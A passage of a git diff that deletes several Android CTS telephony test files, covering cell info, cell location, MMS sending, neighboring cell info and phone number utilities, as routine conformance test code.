-                arfcn == Integer.MAX_VALUE || (arfcn >= 0 && arfcn <= ARFCN));
-
-        String alphaLong = (String) gsm.getOperatorAlphaLong();
-        assertNotNull("getOperatorAlphaLong() returns NULL!", alphaLong);
-
-        String alphaShort = (String) gsm.getOperatorAlphaShort();
-        assertNotNull("getOperatorAlphaShort() returns NULL!", alphaShort);
-
-        String mccStr = gsm.getMccString();
-        // mccStr is set as NULL if empty, unknown or invalid.
-        assertTrue("getMccString() out of range [0, 999], mcc=" + mccStr,
-                mccStr == null || mccStr.matches("^[0-9]{3}$"));
-        String mncStr = gsm.getMncString();
-        // mncStr is set as NULL if empty, unknown or invalid.
-        assertTrue("getMncString() out of range [0, 999], mnc=" + mncStr,
-                mncStr == null || mncStr.matches("^[0-9]{2,3}$"));
-
-        String mobileNetworkOperator = gsm.getMobileNetworkOperator();
-        assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
-                        + mobileNetworkOperator,
-                mobileNetworkOperator == null
-                        || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
-
-        int mcc = gsm.getMcc();
-        // getMcc() returns Integer.MAX_VALUE if mccStr is null.
-        assertTrue("getMcc() out of range [0, 999], mcc=" + mcc,
-                (mcc >= 0 && mcc <= 999) || mcc == Integer.MAX_VALUE);
-        int mnc = gsm.getMnc();
-        // getMnc() returns Integer.MAX_VALUE if mccStr is null.
-        assertTrue("getMnc() out of range [0, 999], mnc=" + mnc,
-                (mnc >= 0 && mnc <= 999) || mnc == Integer.MAX_VALUE);
-
-        int bsic = gsm.getBsic();
-        // TODO(b/32774471) - Bsic should always be valid
-        //assertTrue("getBsic() out of range [0,63]", bsic >= 0 && bsic <=63);
-    }
-
-    private void verifyCellIdentityGsmParcel(CellIdentityGsm gsm) {
-        Parcel p = Parcel.obtain();
-        gsm.writeToParcel(p, 0);
-        p.setDataPosition(0);
-
-        CellIdentityGsm newci = CellIdentityGsm.CREATOR.createFromParcel(p);
-        assertEquals(gsm, newci);
-    }
-
-    private void verifyCellSignalStrengthGsm(CellSignalStrengthGsm gsm) {
-        verifyRssiDbm(gsm.getDbm());
-
-        int level = gsm.getLevel();
-        assertTrue("getLevel() out of range [0,4], level=" + level, level >= 0 && level <= 4);
-
-        int ta = gsm.getTimingAdvance();
-        assertTrue("getTimingAdvance() out of range [0,219] | Integer.MAX_VALUE, ta=" + ta,
-                ta == Integer.MAX_VALUE || (ta >= 0 && ta <= 219));
-
-        // Dbm here does not have specific limits. So just calling to verify that it does not
-        // crash the phone
-        gsm.getDbm();
-
-        int asuLevel = gsm.getAsuLevel();
-        assertTrue("getLevel() out of range [0,31] (or 99 is unknown), level=" + asuLevel,
-                asuLevel == 99 || (asuLevel >=0 && asuLevel <= 31));
-    }
-
-    private void verifyCellSignalStrengthGsmParcel(CellSignalStrengthGsm gsm) {
-        Parcel p = Parcel.obtain();
-        gsm.writeToParcel(p, 0);
-        p.setDataPosition(0);
-
-        CellSignalStrengthGsm newCss = CellSignalStrengthGsm.CREATOR.createFromParcel(p);
-        assertEquals(gsm, newCss);
-    }
-
-    // Rssi(in dbm) should be within [MIN_RSSI, MAX_RSSI].
-    private void verifyRssiDbm(int dbm) {
-        assertTrue("getCellSignalStrength().getDbm() out of range, dbm=" + dbm,
-                dbm >= MIN_RSSI && dbm <= MAX_RSSI);
-    }
-
-    private void verifyCellConnectionStatus(int status) {
-        assertTrue("getCellConnectionStatus() invalid [0,2] | Integer.MAX_VALUE, status=",
-            status == CellInfo.CONNECTION_NONE
-                || status == CellInfo.CONNECTION_PRIMARY_SERVING
-                || status == CellInfo.CONNECTION_SECONDARY_SERVING
-                || status == CellInfo.CONNECTION_UNKNOWN);
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/cts/CellLocationTest.java b/tests/tests/telephony/src/android/telephony/cts/CellLocationTest.java
deleted file mode 100644
index 6c180b4..0000000
--- a/tests/tests/telephony/src/android/telephony/cts/CellLocationTest.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.telephony.cts;
-
-
-import android.content.Context;
-import android.os.Looper;
-import android.net.ConnectivityManager;
-import android.telephony.CellLocation;
-import android.telephony.PhoneStateListener;
-import android.telephony.TelephonyManager;
-import android.telephony.gsm.GsmCellLocation;
-import android.test.AndroidTestCase;
-import android.content.pm.PackageManager;
-import android.util.Log;
-
-import com.android.compatibility.common.util.ReadElf;
-import com.android.compatibility.common.util.TestThread;
-
-public class CellLocationTest extends AndroidTestCase{
-    private boolean mOnCellLocationChangedCalled;
-    private final Object mLock = new Object();
-    private TelephonyManager mTelephonyManager;
-    private PhoneStateListener mListener;
-    private static ConnectivityManager mCm;
-    private static final String TAG = "android.telephony.cts.CellLocationTest";
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mTelephonyManager =
-                (TelephonyManager)getContext().getSystemService(Context.TELEPHONY_SERVICE);
-        mCm = (ConnectivityManager)getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        if (mListener != null) {
-            // unregister listener
-            mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_NONE);
-        }
-        super.tearDown();
-    }
-
-    public void testCellLocation() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
-            return;
-        }
-
-        // getCellLocation should never return null,
-        // but that is allowed if the cell network type
-        // is LTE (since there is no LteCellLocation class)
-        if (mTelephonyManager.getNetworkType() != TelephonyManager.NETWORK_TYPE_LTE) {
-            assertNotNull("TelephonyManager.getCellLocation() returned null!",
-                mTelephonyManager.getCellLocation());
-        }
-
-        CellLocation cl = CellLocation.getEmpty();
-        if (cl instanceof GsmCellLocation) {
-            GsmCellLocation gcl = (GsmCellLocation) cl;
-            assertNotNull(gcl);
-            assertEquals(-1, gcl.getCid());
-            assertEquals(-1, gcl.getLac());
-        }
-
-        TestThread t = new TestThread(new Runnable() {
-            public void run() {
-                Looper.prepare();
-                mListener = new PhoneStateListener() {
-                    @Override
-                    public void onCellLocationChanged(CellLocation location) {
-                        synchronized (mLock) {
-                            mOnCellLocationChangedCalled = true;
-                            mLock.notify();
-                        }
-                    }
-                };
-                mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_CELL_LOCATION);
-
-                Looper.loop();
-            }
-        });
-
-        t.start();
-
-        CellLocation.requestLocationUpdate();
-        synchronized (mLock) {
-            while (!mOnCellLocationChangedCalled) {
-                mLock.wait();
-            }
-        }
-        Thread.sleep(1000);
-        assertTrue(mOnCellLocationChangedCalled);
-        t.checkException();
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/cts/MmsTest.java b/tests/tests/telephony/src/android/telephony/cts/MmsTest.java
deleted file mode 100644
index b5fa45a..0000000
--- a/tests/tests/telephony/src/android/telephony/cts/MmsTest.java
+++ /dev/null
@@ -1,328 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.telephony.cts;
-
-import android.app.Activity;
-import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.net.Uri;
-import android.os.SystemClock;
-import android.telephony.SmsManager;
-import android.telephony.TelephonyManager;
-import android.test.AndroidTestCase;
-import android.text.TextUtils;
-import android.util.Log;
-
-import com.google.android.mms.ContentType;
-import com.google.android.mms.InvalidHeaderValueException;
-import com.google.android.mms.pdu.CharacterSets;
-import com.google.android.mms.pdu.EncodedStringValue;
-import com.google.android.mms.pdu.GenericPdu;
-import com.google.android.mms.pdu.PduBody;
-import com.google.android.mms.pdu.PduComposer;
-import com.google.android.mms.pdu.PduHeaders;
-import com.google.android.mms.pdu.PduParser;
-import com.google.android.mms.pdu.PduPart;
-import com.google.android.mms.pdu.SendConf;
-import com.google.android.mms.pdu.SendReq;
-
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.util.Random;
-
-/**
- * Test sending MMS using {@link android.telephony.SmsManager}.
- */
-public class MmsTest extends AndroidTestCase {
-    private static final String TAG = "MmsTest";
-
-    private static final String ACTION_MMS_SENT = "CTS_MMS_SENT_ACTION";
-    private static final long DEFAULT_EXPIRY_TIME = 7 * 24 * 60 * 60;
-    private static final int DEFAULT_PRIORITY = PduHeaders.PRIORITY_NORMAL;
-
-    private static final String SUBJECT = "CTS MMS Test";
-    private static final String MESSAGE_BODY = "CTS MMS test message body";
-    private static final String TEXT_PART_FILENAME = "text_0.txt";
-    private static final String sSmilText =
-            "<smil>" +
-                    "<head>" +
-                        "<layout>" +
-                            "<root-layout/>" +
-                            "<region height=\"100%%\" id=\"Text\" left=\"0%%\" top=\"0%%\" width=\"100%%\"/>" +
-                        "</layout>" +
-                    "</head>" +
-                    "<body>" +
-                        "<par dur=\"8000ms\">" +
-                            "<text src=\"%s\" region=\"Text\"/>" +
-                        "</par>" +
-                    "</body>" +
-            "</smil>";
-
-    private static final long SENT_TIMEOUT = 1000 * 60 * 5; // 5 minutes
-
-    private static final String PROVIDER_AUTHORITY = "telephonyctstest";
-
-    private Random mRandom;
-    private SentReceiver mSentReceiver;
-    private TelephonyManager mTelephonyManager;
-    private PackageManager mPackageManager;
-
-    private static class SentReceiver extends BroadcastReceiver {
-        private final Object mLock;
-        private boolean mSuccess;
-        private boolean mDone;
-
-        public SentReceiver() {
-            mLock = new Object();
-            mSuccess = false;
-            mDone = false;
-        }
-
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            Log.i(TAG, "Action " + intent.getAction());
-            if (!ACTION_MMS_SENT.equals(intent.getAction())) {
-                return;
-            }
-            final int resultCode = getResultCode();
-            if (resultCode == Activity.RESULT_OK) {
-                final byte[] response = intent.getByteArrayExtra(SmsManager.EXTRA_MMS_DATA);
-                if (response != null) {
-                    final GenericPdu pdu = new PduParser(
-                            response, shouldParseContentDisposition()).parse();
-                    if (pdu != null && pdu instanceof SendConf) {
-                        final SendConf sendConf = (SendConf) pdu;
-                        if (sendConf.getResponseStatus() == PduHeaders.RESPONSE_STATUS_OK) {
-                            mSuccess = true;
-                        } else {
-                            Log.e(TAG, "SendConf response status=" + sendConf.getResponseStatus());
-                        }
-                    } else {
-                        Log.e(TAG, "Not a SendConf: " +
-                                (pdu != null ? pdu.getClass().getCanonicalName() : "NULL"));
-                    }
-                } else {
-                    Log.e(TAG, "Empty response");
-                }
-            } else {
-                Log.e(TAG, "Failure result=" + resultCode);
-                if (resultCode == SmsManager.MMS_ERROR_HTTP_FAILURE) {
-                    final int httpError = intent.getIntExtra(SmsManager.EXTRA_MMS_HTTP_STATUS, 0);
-                    Log.e(TAG, "HTTP failure=" + httpError);
-                }
-            }
-            synchronized (mLock) {
-                mDone = true;
-                mLock.notify();
-            }
-        }
-
-        public boolean waitForSuccess(long timeout) {
-            synchronized(mLock) {
-                final long startTime = SystemClock.elapsedRealtime();
-                long waitTime = timeout;
-                while (waitTime > 0) {
-                    try {
-                        mLock.wait(waitTime);
-                    } catch (InterruptedException e) {
-                        // Ignore
-                    }
-                    if (mDone) {
-                        break;
-                    }
-                    waitTime = timeout - (SystemClock.elapsedRealtime() - startTime);
-                }
-                Log.i(TAG, "Wait for sent: done=" + mDone + ", success=" + mSuccess);
-                return mDone && mSuccess;
-            }
-
-        }
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mRandom = new Random();
-        mTelephonyManager =
-                (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
-        mPackageManager = mContext.getPackageManager();
-    }
-
-    public void testSendMmsMessage() {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
-             || !doesSupportMMS()) {
-            Log.i(TAG, "testSendMmsMessage skipped: no telephony available or MMS not supported");
-            return;
-        }
-
-        Log.i(TAG, "testSendMmsMessage");
-        // Prime the MmsService so that MMS config is loaded
-        final SmsManager smsManager = SmsManager.getDefault();
-        smsManager.getAutoPersisting();
-        // MMS config is loaded asynchronously. Wait a bit so it will be loaded.
-        try {
-            Thread.sleep(1000);
-        } catch (InterruptedException e) {
-            // Ignore
-        }
-
-        final Context context = getContext();
-        // Register sent receiver
-        mSentReceiver = new SentReceiver();
-        context.registerReceiver(mSentReceiver, new IntentFilter(ACTION_MMS_SENT));
-        // Create local provider file for sending PDU
-        final String fileName = "send." + String.valueOf(Math.abs(mRandom.nextLong())) + ".dat";
-        final File sendFile = new File(context.getCacheDir(), fileName);
-        final String selfNumber = getSimNumber(context);
-        assertTrue(!TextUtils.isEmpty(selfNumber));
-        final byte[] pdu = buildPdu(context, selfNumber, SUBJECT, MESSAGE_BODY);
-        assertNotNull(pdu);
-        assertTrue(writePdu(sendFile, pdu));
-        final Uri contentUri = (new Uri.Builder())
-                .authority(PROVIDER_AUTHORITY)
-                .path(fileName)
-                .scheme(ContentResolver.SCHEME_CONTENT)
-                .build();
-        // Send
-        final PendingIntent pendingIntent = PendingIntent.getBroadcast(
-                context, 0, new Intent(ACTION_MMS_SENT), 0);
-        smsManager.sendMultimediaMessage(context,
-                contentUri, null/*locationUrl*/, null/*configOverrides*/, pendingIntent);
-        assertTrue(mSentReceiver.waitForSuccess(SENT_TIMEOUT));
-        sendFile.delete();
-    }
-
-    private static boolean writePdu(File file, byte[] pdu) {
-        FileOutputStream writer = null;
-        try {
-            writer = new FileOutputStream(file);
-            writer.write(pdu);
-            return true;
-        } catch (final IOException e) {
-            return false;
-        } finally {
-            if (writer != null) {
-                try {
-                    writer.close();
-                } catch (IOException e) {
-                }
-            }
-        }
-    }
-
-    private byte[] buildPdu(Context context, String selfNumber, String subject, String text) {
-        final SendReq req = new SendReq();
-        // From, per spec
-        req.setFrom(new EncodedStringValue(selfNumber));
-        // To
-        final String[] recipients = new String[1];
-        recipients[0] = selfNumber;
-        final EncodedStringValue[] encodedNumbers = EncodedStringValue.encodeStrings(recipients);
-        if (encodedNumbers != null) {
-            req.setTo(encodedNumbers);
-        }
-        // Subject
-        if (!TextUtils.isEmpty(subject)) {
-            req.setSubject(new EncodedStringValue(subject));
-        }
-        // Date
-        req.setDate(System.currentTimeMillis() / 1000);
-        // Body
-        final PduBody body = new PduBody();
-        // Add text part. Always add a smil part for compatibility, without it there
-        // may be issues on some carriers/client apps
-        final int size = addTextPart(body, text, true/* add text smil */);
-        req.setBody(body);
-        // Message size
-        req.setMessageSize(size);
-        // Message class
-        req.setMessageClass(PduHeaders.MESSAGE_CLASS_PERSONAL_STR.getBytes());
-        // Expiry
-        req.setExpiry(DEFAULT_EXPIRY_TIME);
-        // The following set methods throw InvalidHeaderValueException
-        try {
-            // Priority
-            req.setPriority(DEFAULT_PRIORITY);
-            // Delivery report
-            req.setDeliveryReport(PduHeaders.VALUE_NO);
-            // Read report
-            req.setReadReport(PduHeaders.VALUE_NO);
-        } catch (InvalidHeaderValueException e) {
-            return null;
-        }
-
-        return new PduComposer(context, req).make();
-    }
-
-    private static int addTextPart(PduBody pb, String message, boolean addTextSmil) {
-        final PduPart part = new PduPart();
-        // Set Charset if it's a text media.
-        part.setCharset(CharacterSets.UTF_8);
-        // Set Content-Type.
-        part.setContentType(ContentType.TEXT_PLAIN.getBytes());
-        // Set Content-Location.
-        part.setContentLocation(TEXT_PART_FILENAME.getBytes());
-        int index = TEXT_PART_FILENAME.lastIndexOf(".");
-        String contentId = (index == -1) ? TEXT_PART_FILENAME
-                : TEXT_PART_FILENAME.substring(0, index);
-        part.setContentId(contentId.getBytes());
-        part.setData(message.getBytes());
-        pb.addPart(part);
-        if (addTextSmil) {
-            final String smil = String.format(sSmilText, TEXT_PART_FILENAME);
-            addSmilPart(pb, smil);
-        }
-        return part.getData().length;
-    }
-
-    private static void addSmilPart(PduBody pb, String smil) {
-        final PduPart smilPart = new PduPart();
-        smilPart.setContentId("smil".getBytes());
-        smilPart.setContentLocation("smil.xml".getBytes());
-        smilPart.setContentType(ContentType.APP_SMIL.getBytes());
-        smilPart.setData(smil.getBytes());
-        pb.addPart(0, smilPart);
-    }
-
-    private static String getSimNumber(Context context) {
-        final TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(
-                Context.TELEPHONY_SERVICE);
-        return telephonyManager.getLine1Number();
-    }
-
-    private static boolean shouldParseContentDisposition() {
-        return SmsManager
-                .getDefault()
-                .getCarrierConfigValues()
-                .getBoolean(SmsManager.MMS_CONFIG_SUPPORT_MMS_CONTENT_DISPOSITION, true);
-    }
-
-    private static boolean doesSupportMMS() {
-        return SmsManager
-                .getDefault()
-                .getCarrierConfigValues()
-                .getBoolean(SmsManager.MMS_CONFIG_MMS_ENABLED, true);
-    }
-
-}
diff --git a/tests/tests/telephony/src/android/telephony/cts/NeighboringCellInfoTest.java b/tests/tests/telephony/src/android/telephony/cts/NeighboringCellInfoTest.java
deleted file mode 100644
index 535212f..0000000
--- a/tests/tests/telephony/src/android/telephony/cts/NeighboringCellInfoTest.java
+++ /dev/null
@@ -1,80 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.telephony.cts;
-
-import static android.telephony.TelephonyManager.NETWORK_TYPE_UNKNOWN;
-import static android.telephony.TelephonyManager.NETWORK_TYPE_EDGE;
-import static android.telephony.TelephonyManager.NETWORK_TYPE_GPRS;
-import static android.telephony.TelephonyManager.NETWORK_TYPE_UMTS;
-
-
-import android.os.Parcel;
-import android.telephony.NeighboringCellInfo;
-import android.test.AndroidTestCase;
-
-public class NeighboringCellInfoTest extends AndroidTestCase{
-    private static final int RSSI = 20;
-    private static final int CID = 0xffff;
-
-    public void testNeighboringCellInfo() {
-        int rssi = 31;
-        String location = "ffffffff";
-        NeighboringCellInfo nc;
-
-        // test constructor
-        nc = new NeighboringCellInfo(rssi, "FFFFFFF", NETWORK_TYPE_EDGE);
-        assertEquals(NETWORK_TYPE_EDGE, nc.getNetworkType());
-        assertEquals(rssi, nc.getRssi());
-        assertEquals(0xfff, nc.getLac());
-        assertEquals(0xffff, nc.getCid());
-        assertEquals(NeighboringCellInfo.UNKNOWN_CID, nc.getPsc());
-
-        nc = new NeighboringCellInfo(rssi, "1FF", NETWORK_TYPE_UMTS);
-        assertEquals(NETWORK_TYPE_UMTS, nc.getNetworkType());
-        assertEquals(rssi, nc.getRssi());
-        assertEquals(NeighboringCellInfo.UNKNOWN_CID, nc.getCid());
-        assertEquals(NeighboringCellInfo.UNKNOWN_CID, nc.getLac());
-        assertEquals(0x1ff, nc.getPsc());
-
-        nc = new NeighboringCellInfo(rssi, "1FF", NETWORK_TYPE_UNKNOWN);
-        assertEquals(NETWORK_TYPE_UNKNOWN, nc.getNetworkType());
-        assertEquals(rssi, nc.getRssi());
-        assertEquals(NeighboringCellInfo.UNKNOWN_CID, nc.getCid());
-        assertEquals(NeighboringCellInfo.UNKNOWN_CID, nc.getLac());
-        assertEquals(NeighboringCellInfo.UNKNOWN_CID, nc.getPsc());
-
-        // test parcel
-        nc = new NeighboringCellInfo(rssi, "12345678", NETWORK_TYPE_GPRS);
-        assertEquals(NETWORK_TYPE_GPRS, nc.getNetworkType());
-        assertEquals(rssi, nc.getRssi());
-        assertEquals(0x1234, nc.getLac());
-        assertEquals(0x5678, nc.getCid());
-        assertEquals(NeighboringCellInfo.UNKNOWN_CID, nc.getPsc());
-
-        Parcel p = Parcel.obtain();
-        p.setDataPosition(0);
-        nc.writeToParcel(p, 0);
-
-        p.setDataPosition(0);
-        NeighboringCellInfo nw = new NeighboringCellInfo(p);
-        assertEquals(NETWORK_TYPE_GPRS, nw.getNetworkType());
-        assertEquals(rssi, nw.getRssi());
-        assertEquals(0x1234, nw.getLac());
-        assertEquals(0x5678, nw.getCid());
-        assertEquals(NeighboringCellInfo.UNKNOWN_CID, nw.getPsc());
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/cts/PhoneNumberUtilsTest.java b/tests/tests/telephony/src/android/telephony/cts/PhoneNumberUtilsTest.java
deleted file mode 100644
index 6cf147f..0000000
--- a/tests/tests/telephony/src/android/telephony/cts/PhoneNumberUtilsTest.java
+++ /dev/null
@@ -1,351 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.telephony.cts;
-
-
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.content.Intent;
-import android.net.Uri;
-import android.os.RemoteException;
-import android.provider.Contacts;
-import android.provider.Contacts.People;
-import android.telephony.PhoneNumberUtils;
-import android.telephony.TelephonyManager;
-import android.test.AndroidTestCase;
-import android.text.Editable;
-import android.text.Spannable;
-import android.text.SpannableString;
-import android.text.SpannableStringBuilder;
-import android.text.style.TtsSpan;
-
-import java.util.Locale;
-
-public class PhoneNumberUtilsTest extends AndroidTestCase {
-    // mPhoneNumber ~ "+17005550020", length == 7.
-    private byte[] mPhoneNumber = { (byte) 0x91, (byte) 0x71, (byte) 0x00, (byte) 0x55,
-            (byte) 0x05, (byte) 0x20, (byte) 0xF0 };
-
-    public void testExtractMethods() {
-
-        // Test extractNetworkPortion
-        assertNull(PhoneNumberUtils.extractNetworkPortion(null));
-        assertEquals("+17005554141", PhoneNumberUtils.extractNetworkPortion("+17005554141"));
-        assertEquals("+17005554141*#N",
-                PhoneNumberUtils.extractNetworkPortion("+1 (700).555-4141*#N"));
-        assertEquals("170055541", PhoneNumberUtils.extractNetworkPortion(
-                String.format("1 (700).555-41%c1234", PhoneNumberUtils.PAUSE)));
-        assertEquals("**21**17005554141#",
-                PhoneNumberUtils.extractNetworkPortion("**21**+17005554141#"));
-
-        // Test extractPostDialPortion
-        assertNull(PhoneNumberUtils.extractPostDialPortion(null));
-        assertEquals("", PhoneNumberUtils.extractPostDialPortion("+17005554141"));
-        assertEquals(String.format("%c1234", PhoneNumberUtils.PAUSE),
-                PhoneNumberUtils.extractPostDialPortion(
-                String.format("+1 (700).555-41NN%c1234", PhoneNumberUtils.PAUSE)));
-        assertEquals(String.format("%c1234", PhoneNumberUtils.WAIT),
-                PhoneNumberUtils.extractPostDialPortion(
-                String.format("+1 (700).555-41NN%c1234", PhoneNumberUtils.WAIT)));
-        assertEquals(String.format("%c1234%c%cN", PhoneNumberUtils.WAIT, PhoneNumberUtils.PAUSE,
-                PhoneNumberUtils.WAIT), PhoneNumberUtils
-                .extractPostDialPortion(
-                        String.format("+1 (700).555-41NN%c1-2.34 %c%cN", PhoneNumberUtils.WAIT,
-                                PhoneNumberUtils.PAUSE,
-                                PhoneNumberUtils.WAIT)));
-    }
-
-    public void testCallMethods() {
-        // Test calledPartyBCDToString
-        assertEquals("+17005550020", PhoneNumberUtils.calledPartyBCDToString(mPhoneNumber, 0, 7));
-
-        // Test toCallerIDMinMatch
-        assertNull(PhoneNumberUtils.toCallerIDMinMatch(null));
-//        assertEquals("1414555", PhoneNumberUtils.toCallerIDMinMatch("17005554141"));
-//        assertEquals("1414555", PhoneNumberUtils.toCallerIDMinMatch("1-700-555-4141"));
-//        assertEquals("1414555", PhoneNumberUtils.toCallerIDMinMatch("1-700-555-4141,1234"));
-//        assertEquals("1414555", PhoneNumberUtils.toCallerIDMinMatch("1-700-555-4141;1234"));
-//        assertEquals("NN14555", PhoneNumberUtils.toCallerIDMinMatch("1-700-555-41NN"));
-        assertEquals("", PhoneNumberUtils.toCallerIDMinMatch(""));
-        assertEquals("0032", PhoneNumberUtils.toCallerIDMinMatch("2300"));
-        assertEquals("0032+", PhoneNumberUtils.toCallerIDMinMatch("+2300"));
-        assertEquals("#130#*", PhoneNumberUtils.toCallerIDMinMatch("*#031#"));
-
-        // Test networkPortionToCalledPartyBCD, calledPartyBCDToString
-        byte[] bRet = PhoneNumberUtils.networkPortionToCalledPartyBCD("+17005550020");
-        assertEquals(mPhoneNumber.length, bRet.length);
-        for (int i = 0; i < mPhoneNumber.length; i++) {
-            assertEquals(mPhoneNumber[i], bRet[i]);
-        }
-        bRet = PhoneNumberUtils.networkPortionToCalledPartyBCD("7005550020");
-        assertEquals("7005550020", PhoneNumberUtils.calledPartyBCDToString(bRet, 0, bRet.length));
-
-        // Test calledPartyBCDFragmentToString
-        assertEquals("1917005550020", PhoneNumberUtils.calledPartyBCDFragmentToString(mPhoneNumber,
-                0, 7));
-
-        // Test networkPortionToCalledPartyBCDWithLength
-        bRet = PhoneNumberUtils.networkPortionToCalledPartyBCDWithLength("+17005550020");
-        assertEquals(mPhoneNumber.length + 1, bRet.length);
-        for (int i = 0; i < mPhoneNumber.length; i++) {
-            assertEquals(mPhoneNumber[i], bRet[i + 1]);
-        }
-
-        // Test numberToCalledPartyBCD
-        bRet = PhoneNumberUtils.numberToCalledPartyBCD("+17005550020");
-        assertEquals(mPhoneNumber.length, bRet.length);
-        for (int i = 0; i < mPhoneNumber.length; i++) {
-            assertEquals(mPhoneNumber[i], bRet[i]);
-        }
-    }
-
-    public void testGetMethods() throws RemoteException {
-        // Test getStrippedReversed
-        assertNull(PhoneNumberUtils.getStrippedReversed(null));
-        assertEquals("14145550071", PhoneNumberUtils.getStrippedReversed("1-700-555-4141"));
-        assertEquals("14145550071", PhoneNumberUtils.getStrippedReversed("1-700-555-4141,1234"));
-        assertEquals("14145550071", PhoneNumberUtils.getStrippedReversed("1-700-555-4141;1234"));
-        assertEquals("NN145550071", PhoneNumberUtils.getStrippedReversed("1-700-555-41NN"));
-        assertEquals("", PhoneNumberUtils.getStrippedReversed(""));
-        assertEquals("#130#*+", PhoneNumberUtils.getStrippedReversed("+*#031#"));
-
-        // Test getFormatTypeForLocale
-        int formatType = PhoneNumberUtils.getFormatTypeForLocale(Locale.CHINA);
-        assertEquals(PhoneNumberUtils.FORMAT_UNKNOWN, formatType);
-        formatType = PhoneNumberUtils.getFormatTypeForLocale(Locale.US);
-        assertEquals(PhoneNumberUtils.FORMAT_NANP, formatType);
-        formatType = PhoneNumberUtils.getFormatTypeForLocale(Locale.JAPAN);
-        assertEquals(PhoneNumberUtils.FORMAT_JAPAN, formatType);
-
-        // Test getNumberFromIntent, query nothing, return null.
-        Intent intent = new Intent();
-        intent.setData(Contacts.People.CONTENT_URI);
-        Context context = getContext();
-        assertNull(PhoneNumberUtils.getNumberFromIntent(intent, context));
-
-        intent = new Intent(Intent.ACTION_DIAL, Uri.parse("tel:+18005555555"));
-        assertEquals("+18005555555", PhoneNumberUtils.getNumberFromIntent(intent, getContext()));
-
-        ContentResolver cr = getContext().getContentResolver();
-        Uri personRecord = null;
-        Uri phoneRecord = null;
-        try {
-            // insert a contact with phone number
-            ContentValues values = new ContentValues();
-            values.put(People.NAME, "CTS test contact");
-            personRecord = cr.insert(People.CONTENT_URI, values);
-            Uri phoneUri = Uri.withAppendedPath(personRecord, People.Phones.CONTENT_DIRECTORY);
-            values.clear();
-            values.put(People.Phones.TYPE, People.Phones.TYPE_HOME);
-            values.put(People.Phones.NUMBER, "+18005552871");
-            phoneRecord = cr.insert(phoneUri, values);
-
-            intent = new Intent(Intent.ACTION_DIAL, phoneRecord);
-            assertEquals("+18005552871",
-                    PhoneNumberUtils.getNumberFromIntent(intent, getContext()));
-        } finally {
-            if (personRecord != null) {
-                cr.delete(personRecord, null, null);
-            }
-            if (phoneRecord != null) {
-                cr.delete(phoneRecord, null, null);
-            }
-        }
-    }
-
-    public void testFormatMethods() {
-        // Test formatNanpNumber
-        SpannableStringBuilder builderNumber = new SpannableStringBuilder();
-        builderNumber.append("8005551212");
-        PhoneNumberUtils.formatNanpNumber(builderNumber);
-        assertEquals("800-555-1212", builderNumber.toString());
-        builderNumber.clear();
-        builderNumber.append("800555121");
-        PhoneNumberUtils.formatNanpNumber(builderNumber);
-        assertEquals("800-555-121", builderNumber.toString());
-        builderNumber.clear();
-        builderNumber.append("555-1212");
-        PhoneNumberUtils.formatNanpNumber(builderNumber);
-        assertEquals("555-1212", builderNumber.toString());
-        builderNumber.clear();
-        builderNumber.append("180055512");
-        PhoneNumberUtils.formatNanpNumber(builderNumber);
-        assertEquals("1-800-555-12", builderNumber.toString());
